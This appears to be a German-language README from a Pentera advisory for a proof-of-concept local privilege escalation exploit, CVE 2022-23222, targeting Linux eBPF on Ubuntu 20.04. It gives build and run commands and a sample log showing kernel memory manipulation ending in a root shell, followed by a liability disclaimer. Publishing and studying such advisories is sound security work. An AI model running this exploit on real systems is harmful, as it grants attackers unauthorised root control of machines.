
Dies ist ein POC für CVE 2022-23222, eine Schwachstelle zur lokalen Rechteausweitung. Dieser POC wurde für Ubuntu 20.04 mit Kernelversion 5.13.0-27-generic geschrieben, aber auch andere Kernelversionen sind betroffen. Eine detaillierte Analyse des Exploits finden Sie in unserem Write-up.
Stellen Sie sicher, dass libbpf installiert ist, da es eine Voraussetzung für den Exploit ist.
Um den POC zu kompilieren, führen Sie den folgenden Befehl aus:
make
Um den Exploit auszuführen, führen Sie die folgende ausführbare Datei aus:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
Der in diesem Advisory beschriebene Code (der „Code“) wird auf einer „wie besehen“- und „wie verfügbar“-Basis bereitgestellt und kann Fehler, Irrtümer und andere Defekte enthalten. Es wird empfohlen, wichtige Daten zu sichern und Vorsicht walten zu lassen. Durch die Verwendung dieses Codes erklären Sie sich damit einverstanden, dass Pentera Ihnen gegenüber keinerlei Haftung für Ansprüche im Zusammenhang mit dem Code übernimmt. Pentera lehnt jede Haftung für direkte, indirekte, zufällige, punitive, exemplarische, besondere oder Folgeschäden ab, selbst wenn Pentera oder verbundene Parteien auf die Möglichkeit solcher Schäden hingewiesen wurden. Pentera übernimmt keine Verpflichtung, den Code oder dieses Advisory zu aktualisieren.